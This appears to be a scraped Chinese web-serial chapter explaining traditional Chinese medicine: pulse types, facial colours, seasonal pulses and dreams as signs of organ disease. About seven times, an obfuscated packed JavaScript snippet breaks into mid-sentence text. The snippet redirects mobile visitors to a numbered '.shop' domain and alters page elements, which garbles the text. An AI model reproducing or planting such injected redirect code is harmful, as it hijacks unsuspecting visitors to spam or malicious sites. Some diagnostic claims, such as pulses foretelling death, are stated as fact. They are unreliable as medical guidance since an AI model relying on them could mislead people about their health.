细脉，顾名思义，是指脉象细如线，多表现为正气衰少。这种脉象往往是由于气血两虚或脏腑功能衰退导致的。气血是维持人体正常生理功能的基础，当气血不足或脏腑功能衰退时，就无法滋养和推动血脉，从而导致脉象变得细弱无力。患者可能伴有面色苍白、神疲乏力、气短懒言等症状。 而涩脉，我理解你可能是指那种脉搏往来艰涩、不畅快的脉象。这种脉象通常与血少气滞有关，反映出血液运行不畅，气滞血瘀的病理状态。在中医理论中，气滞是指气机不畅，运行受阻的状态，而血瘀则是指血液在脉中运行不畅，甚至停滞凝聚的病理现象。当气滞血瘀时，血脉就会受到阻碍，从而表现出涩脉的特点。患者可能伴有胸胁胀满、疼痛拒按、舌质紫暗等症状。 需要注意的是，中医脉诊是一种复杂的诊断方法，需要结合患者的症状、体征、舌象等多方面信息进行综合分析。 当脉来时大而极速，如泉水上涌，这通常被称为“洪脉”或“实脉”。它表明病势正在发展，气血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428656|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充盛而涌动，可能是体内热邪炽盛或正气未衰，与病邪激烈斗争的表现。这种情况下，患者可能会感觉身体发热、口渴、烦躁等症状，需要及时就医治疗，以防病情进一步恶化。 而脉来时若有若无，微细无力，或是像弓弦一般，猝然断绝而去，这通常被称为“散脉”或“绝脉”。它表明气血已绝，生机已断，是死亡的征兆。这种脉象的出现，往往意味着患者体内的气血已经极度衰竭，脏腑功能已经丧失，无法再维持生命活动。 接下来 我们来看看健康和不健康面部颜色的对比。 在中医理论中，人体的外在表现，如眼睛的神采和面部的色泽，常常被看作是内脏健康状况的反映。两目的精明和面部的五色，确实被视为内脏精气外显的窗口。 关于赤色，它应该像白布包裹朱砂一样，红润而不显露，这种红色是健康而富有生机的。而不健康的红色，则像赭石那样色赤带紫，缺乏光滑的白色，这往往是体内有热邪或气血不畅的表现。 白色，它应该像鹅的羽毛一样，白而有光泽，这种白色是纯净而富有生机的。而不健康的白色，则像盐那样白而带灰，这往往是体内气血虚弱或阳气不足的表现。 青色，健康的青色应该清而明润，如碧玉一般，这是肝气疏泄、气血流通的表现。而不健康的青色，则像青湛那样青而带沉，这 往往是肝气郁结或寒邪内盛的表现。 黄色，健康的黄色应该像丝苞中的雄黄一样，黄而明润，这是脾胃健运、气血充足的表现。而不健康的黄色，则像黄土那样枯暗无华，这往往是脾胃功能失调或湿邪内蕴的表现。 通过观察和分辨这些色泽的微妙变化，中医能够初步判断内脏的健康状况，从而采取相应的治疗措施。当然，这只是一个大致的判断方法，具体的诊断和治疗还需要结合患者的整体情况和病史来进行。 第13章 （4）了解五脏藏精与邪气入侵：守护健康刻不容缓 五脏（心、肝、脾、肺、肾）被视为人体的核心，其主要功能是藏精气并守于内，以维持人体的生命活动。 我们说一下什么是精气。“精气”是一个至关重要的概念，它涵盖了生命活动的本质和精髓。简单来说，精气可以理解为人体内的生命能量和物质基础的结合体。 从中医的角度来看，精气可以分为先天之精和后天之精。先天之精来自于父母的遗传，是人体生命的原始物质，具有生殖、繁衍后代的基本功能，并决定着人体的先天禀赋强弱。而后天之精则来源于水谷精微（饮食营养），通过脾胃的运化及脏腑生理功能的共同作用而生成，具有滋养脏腑、濡养全身各部的作用。 精气不仅构成了人体的基本物质，还是推动和调控人体生命活动的动力源泉。它的盛衰变化，不仅关系到人体的生长发育，还决定着人体的脏腑功能状态。在疾病发生发展过程中，精气的强弱也是影响疾病发生、发展和转归的重要因素。 当邪气（即外邪或内生的病邪）侵袭人体，尤其是中焦（主要指脾胃所在的区域）时，便可能导致脏气雍满，即脏腑之气阻滞不畅。 什么是邪气？邪气是一个核心概念，它指的是对人体健康有害的各种致病因素。邪气又分为内邪和外邪，这两者虽然都是导致人体生病的因素，但来源和性质有所不同。 外邪： 外邪主要来自于外界环境，包括风、寒、暑、湿、燥、火六种，这被称为“六淫”。当人体正气不足或外界邪气过于强盛时，这些原本正常的气候变化就会成为致病因素，侵犯人体并引发疾病。例如，冬季天气寒冷，如果不注意保暖，风寒邪气就可能侵入人体，导致感冒、关节疼痛等疾病。 内邪： 内邪则是指由于人体内部脏腑功能失调而产生的各种致病因素。例如，情志内伤可能导致气机紊乱，产生气滞、气逆等内邪；饮食不节可能导致脾胃功能失调，产生痰湿、食积等内邪；劳逸失度则可能导致正气虚损，产生虚证等内邪。内邪与外邪相比，更加复杂和隐蔽，因为它们往往源于人体内部，与脏腑功能密切相关。 在中医的治疗中，针对外邪和内邪的治疗方法也有所不同。对于外邪，中医通常采用祛邪的方法，如解表、散寒、清热等，以驱除体内的邪气；而对于内邪，中医则更注重调和脏腑功能，扶正祛邪，通过调整人体内部环境来消除致病因素。 中焦湿盛就是指湿邪在中焦（主要是指脾胃所在的区域）聚集，导致脾胃的纳运功能受到阻碍，气机升降失常，进而影响到整个身体的健康状态。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428657|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 湿邪的生成有两种主要途径：一是湿邪内生，这通常是由于饮食不当、脾胃虚弱等原因导致的；二是外湿内侵，即外部环境中的湿气侵入人体，比如长期居住在潮湿环境中或淋雨等。 当中焦湿盛时，湿邪会阻滞中焦的气机，使得脾胃的纳运功能受阻，进而影响到食物的消化、吸收和排泄。同时，湿邪还会影响到气机的升降，导致清浊不分，即正常的气血运行受到干扰，使得身体内部的环境变得浑浊不清。 这种病理状态下，患者可能会出现多种症状，其中之一就是声音重浊不清。这是因为湿邪阻滞了中焦的气机，使得声音在发声时受到阻碍，不能清晰地传播出去。就像是在一个充满湿气的房间里说话，声音会被湿气所包围，变得沉闷而不清晰。 对于中焦湿盛的治疗，中医通常采用祛湿、健脾、和胃等方法。具体的治疗方法包括药物治疗、针灸、拔罐等，旨在通过调整身体内部的环境，消除湿邪，恢复脾胃的正常功能，进而改善患者的症状。同时，患者在日常生活中也应注意饮食调理，避免食用过于油腻、生冷的食物，保持居住环境的干燥通风等，以预防中焦湿盛的发生。 对于中焦湿盛的治疗，中医通常采用祛湿、健脾、和胃等方法，以恢复中焦的正常功能。 第13章 （5）如何判断身体是否强健？专家告诉你答案！ 头部作为我们身体的重要部分，也是精神活动的主要部位。它包含了大脑，这是控制我们思考、记忆、情感和运动等功能的中心。当头部低垂、目馅无光时，这往往意味着身体或精神状态不佳。 头部低垂可能由疲劳、缺乏睡眠、精神压力等原因导致，而目馅无光则可能意味着视力疲劳、营养不良或是某些健康问题的征兆。也是身体或精神问题的信号，我们应该重视这些信号，及时采取措施进行调整和改善，以保持身心的健康状态。 首先，从解剖学的角度来看，背部并不是胸中脏器直接聚会的部位。我们的胸腔内包含有心脏、肺等重要脏器，它们与背部之间隔着肋骨和肌肉组织。然而，在中医理论中，背部被认为是脏腑经络的反射区，与身体的各个器官有着密切的联系。 “背弯曲而肩下垂，胸中脏器就将要败坏” 背部弯曲和肩下垂通常是由于长时间的不良姿势或缺乏运动导致的。这种体态会使我们的脊柱和肌肉承受额外的压力，导致疼痛、僵硬和不适。长期下来，这些问题可能会影响到我们的呼吸和循环系统，进而影响到胸中脏器的功能。 “腰是肾气聚集的部位”这一观点，在中医理论中确实有所提及。中医认为，腰部是肾脏所在的部位，而肾脏在中医理论中被视为先天之本，主藏精，主生长发育与生殖，同时也主水液代谢。因此，腰部与肾气确实有着密切的联系。 当腰部出现僵硬、疼痛或活动受限时，可能会影响到肾脏的功能，进而影响到肾气。因为腰部的运动能力下降，可能会导致气血流通不畅，从而影响到肾脏的供血和代谢功能。因此，保持腰部的灵活性和健康状态对于维护肾脏功能和肾气是非常重要的。 膝部被视为筋脉汇聚的重要部位。筋，即我们通常所说的肌腱和韧带，它们连接着肌肉和骨骼，对于人体的运动功能至关重要。当膝部出现问题，如不能屈伸或走路时屈身附体，确实可能意味着筋的功能出现了问题。 首先，我们要理解膝部的结构和功能。膝部是人体最大的关节之一，它承受着身体的大部分重量，并允许我们进行各种复杂的腿部运动。膝部的健康状态直接影响到我们的行走、跳跃、跑步等日常活动。 当膝部不能屈伸时，可能是由于多种原因导致的，如关节炎、肌肉劳损、韧带拉伤等。这些问题不仅会导致膝部疼痛、肿胀等症状，还会影响到我们的运动能力，使我们在行走或进行其他活动时感到困难。 而“走路时屈身附体”这一症状，则可能是身体为了减轻膝部的压力而采取的一种代偿姿势。长期采取这种姿势，不仅会加重膝部的负担，还可能导致腰部、背部等其他部位的疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428658|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛和不适。 在中医理论中，骨被视为精髓的藏留之地，精髓即指构成人体和维持生命活动的基本物质之一，它包含了肾气和血液的精华。骨的健康状态与精髓的充盈程度密切相关。 “骨是精髓藏留的地方”，在中医看来，骨不仅是身体的支架，更是精髓的贮藏之所。精髓的充盈与否，直接关系到骨骼的生长、发育和功能的发挥。当精髓充盈时，骨骼得以滋养，生长健壮，功能正常；而当精髓不足时，骨骼则会失去滋养，出现骨质疏松、骨折等问题。 什么是精髓，中医认为，精髓是人体内肾气的凝聚，是构成人体和维持生命活动的基本物质之一。它包含了肾气和血液的精华，是生命活动的原动力。中医讲肾藏精，精化气，精气足而生髓。因此，精髓的充盈与否直接关系到人体的健康和生命活动的旺盛。 当髓虚骨衰时，骨骼得不到足够的滋养，功能减弱，就会出现不能久立、走路震颤摇摆等症状。这些症状不仅影响了我们的日常生活，还可能是身体出现问题的警示信号。 对于这种情况，中医建议通过补肾益髓、强筋健骨的方法来进行调理。例如，可以食用一些具有补肾益髓作用的食物，如核桃、黑芝麻、黑豆等；同时，也可以适当进行一些运动锻炼，如太极拳、八段锦等，以增强骨骼的力量和稳定性。 第13章 （6）脉象与四时的关系，你了解多少？ 岐伯说关于脉气与四时之气的论述，为我们理解人体与自然的和谐关系提供了宝贵的视角。他所说的“人的脉气有时与四时之气相反”，其实是在强调人体内部气血运行状态与外部自然环境变化之间的相互影响和可能存在的差异。 首我们要理解“脉气”和“四时之气”的含义。脉气，即人体内的气血运行状态，反映了人体生命活动的强弱和盛衰。而四时之气，则是指春、夏、秋、冬四季气候变化的特征，包括温度、湿度、光照等多个方面。 当人体内部的脉气与外部环境的四时之气保持一致时，人体的生理功能就能得到正常的发挥，人体就能保持健康的状态。然而，由于人体内部环境的复杂性和外部环境的多变性，有时脉气可能会与四时之气相反，这时就需要我们进行及时的调整和干预。 如果邪气胜过精气，就会表现为有余。这里的“邪气”可以理解为导致人体生病的各种不利因素，如风寒、暑湿、燥火等外邪，以及情志内伤（喜、怒、忧、思、悲、恐、惊）、饮食不节等内邪。当邪气在体内积聚过多，超过了人体正气的抵抗能力时，就会表现为有余的症状，如发热、疼痛、肿胀等。 另一方面，如果血气先已消耗，就会表现为不足。血气是维持人体生命活动的基本物质，当血气不足时，人体的生理功能就会受到影响，出现各种虚弱的症状，如乏力、气短、面色苍白等。 针对这两种情况，中医提出了“补虚泻实”的治疗原则。对于邪气过盛的情况，要采用泻法将邪气排出体外；对于血气不足的情况，则要通过补法来补充人体的血气。 时令与人体脏气的盛衰有着密切的关系。根据中医的“天人相应”观念，人体内部的五脏六腑与自然界的四时变化相应，因此每个脏腑都有其对应的时令，并在该时令下表现出相应的旺盛状态。 当脏气按照时令处于旺盛状态时，通常脉气也会表现出相应的充盛有力，即“脉气应有余”。然而，如果在实际脉象中反而表现出不足，即“反见不足”，这往往意味着邪气已经侵入体内，并且其力量已经超过了人体自身的精气，使得正常的气血运行受到了阻碍。 另一方面，如果脉气本应表现为不足（例如在某些虚证或慢性病中），但却反而表现出有余（即“凡见有余”），这通常表明正气已经无法有效抵御邪气的侵袭，导致血气被大量消耗，而邪气则趁机猖獗。 当这种阴阳气血不相从、邪证不相应的情况持续存在时，就可能引发一种名为“关格”的疾病。在中医理论中，“关”指的是气血、脏腑之间的通道被阻塞，使得正常的生理功能无法进行；“格”则是指邪气与正气之间的格拒，即正气试图将邪气排出体外，但邪气却顽强抵抗，导致正邪交争，人体出现一系列的不适症状。 关格作为一种较为严重的病理状态，通常需要在中医的指导下进行辨证施治，通过调和阴阳、补益气血、祛除邪气等手段来恢复人体的平衡状态，从而缓解或治愈疾病。 黄帝问：脉象是怎样顺应四时的变化而变动的呢？怎样通过脉诊知道病变的所在呢？怎样通过脉诊知道疾病的变化呢？怎样通过脉诊知道病突发于内呢？怎样通过脉诊知道病突发于外呢？你能详细给我讲解一下这五个问题吗？ 脉象是怎样顺应四时的变化而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428659|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变动的呢 岐伯说：人体的阴阳升降与天地自然的运转循环是息息相关的。天地之间的阴阳变化，通过气候、季节、昼夜等现象表现出来，而人体的阴阳变化则通过生理、病理等现象体现。这种对应关系，体现了人与自然的紧密联系。 我们来看天地之间的阴阳变化。春夏季节，阳气渐长，万物生长繁茂；秋冬季节，阴气渐盛，万物收藏凋零。这种阳消阴长、阴消阳长的变化，正是天地阴阳运转循环的体现。同样，在一天之中，昼夜更替也体现了阴阳的升降变化。白天阳气旺盛，夜晚阴气浓重。 那么，人体的阴阳升降又是如何与天地的运转循环相适应的呢？中医认为，人体的阴阳变化与天地阴阳变化是同步的。在春夏季节，人体阳气也随之增长，气血运行加快，新陈代谢旺盛；在秋冬季节，人体阴气逐渐增强，气血运行减缓，新陈代谢降低。这种变化使得人体能够适应外界环境的变化，保持生理平衡。 同时，在一天之中，人体的阴阳升降也与昼夜更替相应。白天阳气旺盛时，人体精神焕发、活力充沛；夜晚阴气浓重时，人体则进入休息状态，修复白天消耗的能量。这种阴阳升降的变化，有助于调节人体的生物钟，维持身体的健康状态。 此外，中医还认为，人体的阴阳升降与五脏六腑的功能活动密切相关。通过调节五脏六腑的阴阳平衡，可以达到治疗疾病、预防疾病的目的。例如，在春夏季节，适当补充阳气、调节肝气有助于缓解疲劳、增强免疫力；在秋冬季节，适当补充阴气、调节肾气有助于滋阴润燥、改善睡眠质量。 这章没有结束，请点击下一页继续阅读！ 第13章 （7）四时之变与脉象：中医视角下的自然与人体 在中医理论中，春季脉象有其独特的特点和表现形式。春季脉象，通常被描述为“弦脉”，这是因为春季的脉象与肝脏相对应，而肝脏在五行中属木，象征着生长与伸展。下面我将从几个方面来详细解释春季脉象的特点。 从形态上看，春季脉象如同琴弦一般，具有细长而直的特点。这是因为春季阳气开始生发，但尚未达到旺盛的程度，所以脉象表现为一种柔软而细长的状态。这种脉象反映了肝气的生发和疏泄，是春季正常的脉象特征。 从力度上看，春季脉象的力度适中，既不过于强硬，也不过于微弱。这是因为春季阳气虽然开始生发，但还未达到鼎盛时期，所以脉象的力度表现为一种平和而稳定的状态。如果脉象过于强硬，可能是肝气过旺的表现，而如果脉象过于微弱，则可能是肝气不足的表现。 此外，春季脉象在节律上也具有一定的特点。由于春季阳气生发，气血运行逐渐加快，所以脉象的节律也会相应加快。这种节律的加快并不是急促的，而是一种平稳而有力的表现，反映了春季气血运行的特点。 综上所述，春季脉象具有细长而直、力度适中、节律平稳而有力的特点。这些特点与春季阳气生发、肝气疏泄的生理状态相符合，是中医理论中春季脉象的重要表现。通过对春季脉象的观察和分析，可以了解人体在春季的生理状态和健康状况，为中医诊断和治疗提供重要的参考依据。 夏季脉象：夏季，阳气旺盛，与心阳相应，因此夏季脉象通常与心脉有关。 夏季脉象通常被描述为“洪脉”。这里的“洪”字，可以理解为水势盛大的意思，形象地描绘了夏季脉象的特点。夏季的脉象就像夏天的大河，水量充沛，波涛汹涌，表现出一种宽广而有力的特征。这种脉象反映了夏季心阳旺盛，气血充盈的生理状态。 在细节上，夏季脉象的波动幅度较大，力度也较强，如同夏季的阳光，热烈而充满力量。同时，由于夏季阳气上升，气血运行加快，脉象的速率也会相应增加，表现出一种快速而有力的特征。 然而，值得注意的是，虽然夏季脉象通常表现为洪大有力，但每个人的体质和病情都有所不同，因此脉象也会有所差异。如果脉象过于洪大，可能是心火过旺的表现，需要适当调节；如果脉象过于微弱，则可能是心气不足的表现，需要加以补益。 秋季的脉象：秋季，万物收获，阳气逐渐收敛，阴气逐渐增长，与肺脏相应。因此，秋季的脉象通常表现出一种平和而深沉的特点。 具体来说，秋季的脉象被形容为“浮而散”，这里的“浮”指的是脉象的位置相对浅表，而“散”则是指脉象的力量较为分散，不如夏季那般洪大有力。这种脉象反映了秋季肺气收敛、气血逐渐内敛的生理状态。 在秋季，由于气温逐渐下降，人体阳气也开始逐渐收敛，气血运行相对缓慢。这种变化在脉象上表现为波动幅度减小，力度适中，节律平稳。同时，由于秋季天气干燥，容易导致人体阴液不足，因此在脉象上也可能表现出一种稍带干燥的特点。 当然，每个人的体质和病情都有所不同，因此脉象也会有所差异。如果脉象过于浮散，可能是肺气不足或阴虚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428660|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火旺的表现；如果脉象过于沉实，则可能是痰湿内阻或阳气不足的表现。 总之，秋季的脉象是一种平和而深沉的脉象，反映了秋季人体生理状态的变化。通过观察和分析脉象，我们可以了解人体在秋季的健康状况和可能存在的疾病风险，为中医诊断和治疗提供重要的参考依据。 冬季的脉象：在中医理论中，有其独特的特点。随着季节的变化，自然界进入收藏阶段，阳气内藏，与肾脏相应。因此，冬季的脉象通常呈现出一种“沉而有力”的特质。 这里的“沉”是指脉象的位置相对较深，不易轻触即得，需要用力按压才能感知到明显的搏动。这反映了冬季阳气深藏、气血内敛的生理状态。同时，“有力”则表明脉象虽然深沉，但搏动依然有力，显示出肾脏的坚实和气血的充足。 在冬季，由于气温下降，人体的新陈代谢相对减缓，血液循环也相对较慢。这种生理变化在脉象上表现为波动幅度减小，但力量依然稳定。同时，由于冬季是养阴的好时节，如果人体阴液充足，脉象也会呈现出一种柔和而润泽的特点。 当然，每个人的体质和病情都有所不同，因此脉象也会有所差异。如果脉象过于沉细无力，可能是阳气不足或阴液亏损的表现；如果脉象过于洪大有力，则可能是内热炽盛或痰湿内阻的征象。 总之，冬季的脉象是一种深沉而有力的脉象，反映了冬季人体阳气深藏、气血内敛的生理状态。通过观察和分析脉象，我们可以了解人体在冬季的健康状况和可能存在的疾病风险，为中医诊断和治疗提供重要的参考依据。 第13章 （8）解读梦境：预警身体疾病的潜在信号 岐伯说：我们来深入探讨一下梦境这一神秘而引人入胜的领域。确实，梦境往往是人潜意识中各种信息、情感和记忆的交织体现，它受到生理状态、心理状态以及环境因素等多重影响。 “一个人阴气盛，就会梦见渡大水，并生出恐惧；阳气盛就会梦见大火烧灼；阴阳俱盛，就会梦见相互残杀”的说法，这更多是从古代阴阳五行理论的角度来解释梦境。但从现代心理学的视角来看，梦境中的这些内容和体验其实与个体的情绪、压力和生活经历紧密相关。比如，当个体感到焦虑或恐惧时，确实有可能在梦中体验到与这些情绪相关的场景，如大水、大火等。而“阴阳俱盛，就会梦见相互残杀”可能反映了个体在现实生活中面临的冲突和矛盾，这些冲突在梦中以暴力的形式得到体现。 “上部胜会梦见飞腾，下部胜会梦见下坠”的现象，从现代心理学角度来看，这可能与人体在睡眠时不同部位的感觉和状态有关。当我们的上半身感到轻松或兴奋时，大脑可能会将这些感觉转化为飞翔的梦境；而当下半身感到沉重或不适时，则可能会梦见下坠或跌落。这种解释与古代的说法不谋而合，但更多地是从生理和心理层面进行解析。 “吃的过饱的时候就会梦见赠送给别人，饥饿的时候就会梦见获取东西”，这同样与个体的生理需求和心理状态密切相关。当我们的胃部过于饱满时，大脑可能会通过梦境来释放这种不适感，表现为赠送食物的梦境；而当身体感到饥饿时，大脑则可能会在梦境中模拟寻找食物的场景，以满足这种生理需求。 我们需要注意的是，梦境并不是简单的生理反应或心理投射。它们往往蕴含着更深层次的含义和象征。例如，飞翔的梦境可能象征着自由和追求，下坠的梦境则可能反映了不安全感或失去控制的恐惧；赠送食物的梦境可能代表着分享和慷慨，而获取食物的梦境则可能暗示着对资源的渴望和对自我价值的肯定。 因此，当我们面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428661|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对一个梦境时，不妨尝试从多个角度去分析和解读它。我们可以思考这个梦境与我们最近的生活经历、情感状态、身体状况等有何关联；我们也可以尝试将这个梦境与我们的内心需求、价值观、人生目标等联系起来，看看它是否为我们提供了某种启示或指引。 肝气盛，做梦就会好发怒气”的说法，这确实与中医理论中的观点相吻合。在中医理论中，肝主疏泄，具有调节情绪、气血等功能。当肝气过盛时，可能会导致情绪失控，表现为易怒、暴躁等情绪状态。这种情绪状态在睡眠时也可能反映出来，即在梦中表现出愤怒、争斗等场景。 肺气盛，做梦就会悲哀啼哭”的说法，这同样是基于中医理论中的观点。在中医理论中，肺主气，司呼吸，与人的情绪变化密切相关。当肺气过盛时，可能会导致情绪上的波动，特别是偏向于悲伤或压抑的情绪。这种情绪状态在睡眠时可能会通过梦境的形式表现出来，即在梦中出现悲哀或啼哭的场景 第13章 （9）探秘中医切脉术：如何揭示内脏病变的秘密？ 在中医理论中，心脉搏动有力而长，往往被视作心经气血旺盛的一种表现。然而，当这种旺盛超出了正常范畴，形成邪盛火盛时，就可能导致气浮，进而出现舌头卷曲、不能言语等症状。这是因为火邪上升，扰乱了心神的正常功能，使得舌体失去灵活，语言功能受阻。 脉象软而散乱则可能表明体内的气血运行不畅，正气不足，无法有效抵抗病邪。然而，“刚脉健转柔和等盈为之气”可能是一个相对的概念，意指在某些情况下，脉象虽然软散，但体内正气开始逐渐充盈，脉象开始由弱转强，这是疾病向愈的一种表现。 在中医的诊疗过程中，脉象是重要的诊断依据之一。通过对脉象的观察，医生可以了解患者体内气血的盛衰、病邪的深浅以及脏腑的功能状态。因此，在治疗过程中，医生会根据脉象的变化来判断疾病的转归和治疗效果。 “循环一周后，疾病就会痊愈”的情况，这可能是一个比较笼统的说法。在中医看来，疾病的痊愈不仅仅取决于脉象的变化，还与患者的体质、病情的轻重、治疗方法的得当与否等多种因素有关。因此，在治疗过程中，患者应该积极配合医生的治疗，保持良好的心态和生活习惯，以促进疾病的康复。 当肺脉搏动有力而长时，通常被认为是火邪犯肺的表现。火邪在中医中通常指具有炎热、向上、向外等特性的邪气，当火邪侵袭肺部时，会导致肺热炽盛，进而出现痰中带血等症状。这是因为火热邪气会灼伤肺络，使血液外溢，与痰液混合排出。 相反，当肺脉脉向软而散乱时，则属于肺脉不足的情况。肺脉不足表明肺部功能减弱，气血亏虚，不能固摄汗液，从而导致汗出不止的病症。这种情况下的治疗原则应该是补益肺气、固摄汗液，而不是采用发散的方法。 在中医治疗中，针对不同的脉象和症状，会采用不同的治疗原则和方药。对于火邪犯肺导致的痰中带血，通常会采用清热泻火、凉血止血的方法进行治疗；而对于肺脉不足导致的汗出不止，则会采用补益肺气、固摄汗液的方药进行调治。 需要注意的是，以上分析仅从中医理论的角度进行了简要说明，并不能替代专业的中医诊断和治疗。如果您或身边的人出现类似症状，建议及时就医，接受专业的中医诊断和治疗。 肝脉搏动有力且呈现成形的状态，往往与肝气郁结、气滞血瘀有关。这种情况下，由于气血不畅，面色可能会出现发青的现象。然而，如果面色并未发青，而是由于其他原因导致的面色异常，那么我们可以考虑是否是外力作用，如跌坠或搏击等，导致的瘀血积于胁下，影响了肺气的升降，进而使人喘逆。 如果脉象软而散乱，同时面目颜色有光泽，那么这种情况可能与一眼病（此处可能是指某种眼部疾病）有关。此外，患者还可能伴有口渴、暴饮不化等症状，这些症状可能是由于水液代谢失常，导致水汽流入肌肉皮肤之间，肠胃之外所引起的。 从中医的角度来看，这些症状和脉象的变化都是人体内部气血失衡、脏腑功能失调的表现。因此，在治疗上，我们需要根据患者的具体情况，采用相应的中药方剂和针灸、推拿等治疗方法，以调整气血、疏通经络、恢复脏腑功能。 最后，需要强调的是，中医诊断需要综合考虑患者的脉象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428662|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、舌象、面色、症状等多个方面，不能仅凭单一症状或脉象就做出诊断。因此，在出现相关症状时，建议及时就医，接受专业的中医诊断和治疗。 胃脉搏动有力而长，这通常意味着胃气充盈，气血运行顺畅。然而，当面色同时发赤时，可能提示着胃火过旺，火邪上炎。在中医理论中，火邪具有炎上、耗散的特性，当胃火过旺时，不仅会影响胃的消化功能，还可能通过经络传导至其他部位，如大腿，导致疼痛甚至感觉腿像折断了一样。 如果脉象软而散乱，这往往表明胃气不足。胃气不足时，脾胃的运化功能减弱，不能很好地消化吸收食物，导致食物在胃中滞留，形成食痹。食痹病在中医中是指因饮食不节或脾胃虚弱导致食物停聚在胃脘部所引起的病症，常表现为胃痛、胃胀、恶心、呕吐等症状。由于胃气不足，气血运行不畅，也可能影响到大腿等部位的经络气血流通，从而引发疼痛。 针对这种情况，中医的治疗原则通常是调理脾胃、补益胃气、消食化积。通过中药方剂、针灸、推拿等方法，可以调和脾胃功能，增强胃气，促进食物的消化吸收和排出，从而缓解食痹病的症状。同时，患者也应注意饮食调养，避免暴饮暴食、过食辛辣油腻等刺激性食物，保持良好的生活习惯和作息规律。 胃脉搏动与面色、大腿疼痛等症状之间存在一定的关联，通过中医的调理和治疗可以缓解相关症状。但需要注意的是，中医的诊断和治疗需要综合考虑患者的整体情况和具体症状，因此建议在专业中医师的指导下进行。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第13章 （10）脉象解读：脏腑健康的天然“照妖镜” 黄帝问：诊脉时，如果发现心脉劲，这是什么病？病的症状是怎样的呢？ 岐伯说这种病名叫“心疝”。 在中医理论中，确实认为“心为阳脏”，并且心与小肠之间存在着某种相表里的关系。这种关系可以理解为一种生理或病理上的相互影响。当心脏功能出现问题时，确实可能影响到与之相表里的小肠。当心脏功能出现问题时，可能影响到与之相表里的小肠，进而在小肠或附近区域（即小腹部位）产生类似于疝气的症状。但需要注意的是，这仅仅是一种理论上的推测。 黄帝问：诊察到胃脉有病会有什么病变出现呢？ 